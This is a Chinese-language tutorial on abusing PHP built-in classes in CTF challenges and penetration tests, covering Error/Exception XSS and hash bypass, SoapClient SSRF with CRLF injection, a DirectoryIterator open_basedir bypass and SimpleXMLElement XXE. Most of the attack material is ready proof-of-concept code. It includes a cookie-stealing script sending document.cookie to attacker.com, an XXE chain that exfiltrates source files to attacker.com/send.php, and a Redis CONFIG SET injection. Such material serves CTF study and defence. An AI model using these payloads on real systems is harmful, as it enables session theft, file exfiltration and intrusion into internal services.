PHP 原生类的利用小结
字数 1289 2025-08-06 08:35:39
PHP原生类利用技术详解
前言
PHP原生类在CTF比赛和实际渗透测试中具有多种利用方式,包括XSS、反序列化、SSRF和XXE等。本文将详细解析Error、Exception、SoapClient、DirectoryIterator和SimpleXMLElement这几个常用PHP原生类的利用技术。
Error/Exception类利用
XSS利用
适用条件:
- Error类:PHP7+,开启报错
- Exception类:PHP5/7,开启报错
原理:
这两个类都包含__toString()方法,当对象被当作字符串输出时会自动调用,可用于构造XSS。
测试代码:
$a = unserialize($_GET['whoami']);
echo $a;
POC构造:
// Error类
$a = new Error("<script>alert('xss')</script>");
$b = serialize($a);
echo urlencode($b);
// Exception类
$a = new Exception("<script>alert('xss')</script>");
$b = serialize($a);
echo urlencode($b);
实际案例:
[BJDCTF 2nd]xss之光题目中,使用Exception类构造XSS获取cookie:
$poc = new Exception("<script>window.open('http://attacker.com/?'+document.cookie);</script>");
echo urlencode(serialize($poc));
哈希比较绕过
原理:
Error/Exception类的__toString()方法返回相同内容,即使对象属性不同。
测试代码:
$a = new Error("payload", 1);
$b = new Error("payload", 2);
echo $a; // 输出相同
echo $b; // 输出相同
实际案例:
[2020 极客大挑战]Greatphp题目中绕过md5/sha1比较:
class SYCLOVER {
public $syc;
public $lover;
}
$str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";
$a = new Error($str, 1);
$b = new Error($str, 2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo urlencode(serialize($c));
关键点:
- 使用
?>闭合前面自动输出的错误信息 - 通过取反或非ASCII字符绕过引号过滤
SoapClient类SSRF利用
基本利用
原理:
SoapClient的__call()方法可发送HTTP/HTTPS请求。
POC:
$a = new SoapClient(null, array(
'location' => 'http://target.com',
'uri' => 'http://target.com'
));
$b = serialize($a);
$c = unserialize($b);
$c->nonexistent(); // 触发__call
CRLF注入
HTTP头注入:
$a = new SoapClient(null, array(
'location' => 'http://target.com',
'user_agent' => "WHOAMI\r\nCookie: PHPSESSID=123",
'uri' => 'test'
));
Redis攻击:
$target = 'http://target:6379/';
$poc = "CONFIG SET dir /var/www/html";
$a = new SoapClient(null, array(
'location' => $target,
'uri' => 'hello^^'.$poc.'^^hello'
));
$b = str_replace('^^', "\n\r", serialize($a));
POST请求构造:
$target = 'http://target.com/';
$post_data = 'data=whoami';
$a = new SoapClient(null, array(
'location' => $target,
'user_agent' => 'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^', $headers).'^^Content-Length: '.(string)strlen($post_data).'^^^^'.$post_data,
'uri' => 'test'
));
实际案例:bestphp's revenge
- 构造SoapClient的SSRF payload访问flag.php
$target = "http://127.0.0.1/flag.php";
$attack = new SoapClient(null, array(
'location' => $target,
'user_agent' => "N0rth3ty\r\nCookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4\r\n",
'uri' => "123"
));
- 通过session反序列化触发:
/?f=session_start
POST: serialize_handler=php_serialize
- 使用extract覆盖变量触发:
/?f=extract
POST: b=call_user_func
DirectoryIterator类绕过open_basedir
原理:
结合glob://协议可无视open_basedir限制。
POC:
$a = new DirectoryIterator("glob:///*");
foreach($a as $f){
echo $f->__toString().'<br>';
}
限制:
- 只能列根目录和open_basedir指定目录
- 不能读取文件内容
SimpleXMLElement类XXE利用
原理:
通过设置data_is_url为true实现远程XML文件加载。
POC构造:
- evil.xml
<!DOCTYPE ANY[
<!ENTITY % remote SYSTEM "http://attacker.com/send.xml">
%remote;
%all;
%send;
]>
- send.xml
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://attacker.com/send.php?file=%file;'>">
- 触发URL
/show.php?module=SimpleXMLElement&args[]=http://attacker.com/evil.xml&args[]=2&args[]=true
总结
| 类名 | 利用方式 | 适用条件 | 关键点 |
|---|---|---|---|
| Error/Exception | XSS、哈希绕过 | PHP5/7,开启报错 | __toString()方法利用 |
| SoapClient | SSRF、CRLF注入 | 需要触发__call() |
HTTP头注入、POST构造 |
| DirectoryIterator | 绕过open_basedir | 需要glob://协议 | 只能列目录 |
| SimpleXMLElement | XXE | 允许外部实体加载 | 需要控制第三个参数 |
这些PHP原生类的利用技术在CTF比赛和实际渗透测试中都非常实用,掌握它们可以大大扩展攻击面。